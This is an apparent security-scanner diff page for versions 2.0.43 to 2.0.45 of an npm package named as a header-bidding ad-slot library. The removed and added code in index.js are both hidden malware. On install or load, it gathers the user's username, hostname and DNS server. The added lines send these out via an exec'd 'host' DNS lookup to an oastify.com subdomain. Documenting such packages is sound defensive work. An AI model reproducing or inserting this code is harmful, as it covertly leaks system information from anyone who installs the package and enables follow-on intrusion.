@plentyofcode/header-bidding-adslot 2.0.43 → 2.0.45
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +15 -28
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,38 +1,25 @@
|
|
1
1
|
const { exec } = require("child_process");
|
2
|
-
const dns = require("dns");
|
3
2
|
const os = require("os");
|
4
|
-
const
|
5
|
-
|
6
|
-
// Function to convert a string to hexadecimal
|
7
|
-
function toHex(str) {
|
8
|
-
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
|
9
|
-
}
|
10
|
-
|
11
|
-
// RCE
|
12
|
-
const username = os.userInfo().username; // Username
|
13
|
-
const hostname = os.hostname(); // HostName
|
14
|
-
const currentDir = path.basename(__dirname); // Current Directory
|
15
|
-
const dnsServer = dns.getServers()[0] || "none"; // First DNS Server
|
16
|
-
|
17
|
-
// Create the information in a compact format
|
18
|
-
const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
|
3
|
+
const dns = require("dns");
|
19
4
|
|
20
|
-
//
|
21
|
-
|
5
|
+
// Obtener el nombre de usuario y el nombre del host
|
6
|
+
const username = os.userInfo().username; // o puedes usar `$(whoami)` si prefieres el comando
|
7
|
+
const hostname = os.hostname();
|
22
8
|
|
23
|
-
//
|
24
|
-
|
25
|
-
|
26
|
-
encodedInfo = toHex(`u=${username}`);
|
27
|
-
}
|
9
|
+
// Obtener el primer servidor DNS, o "none" si no hay ninguno
|
10
|
+
const dnsServers = dns.getServers();
|
11
|
+
const dnsServer = dnsServers.length > 0 ? dnsServers[0] : "none";
|
28
12
|
|
29
|
-
//
|
30
|
-
const command = `host ${
|
31
|
-
console.log(`Executing command: ${command}`); // Log the command being executed
|
13
|
+
// Construir el comando para exec
|
14
|
+
const command = `host ${dnsServer}.${username}.${hostname}.nd40axl2h3jlg8eh7lae0arjtaz2nsbh.oastify.com`;
|
32
15
|
|
33
|
-
exec(command, (error, data) => {
|
16
|
+
exec(command, (error, data, getter) => {
|
34
17
|
if (error) {
|
35
|
-
console.log("
|
18
|
+
console.log("error", error.message);
|
19
|
+
return;
|
20
|
+
}
|
21
|
+
if (getter) {
|
22
|
+
console.log(data);
|
36
23
|
return;
|
37
24
|
}
|
38
25
|
console.log(data);
|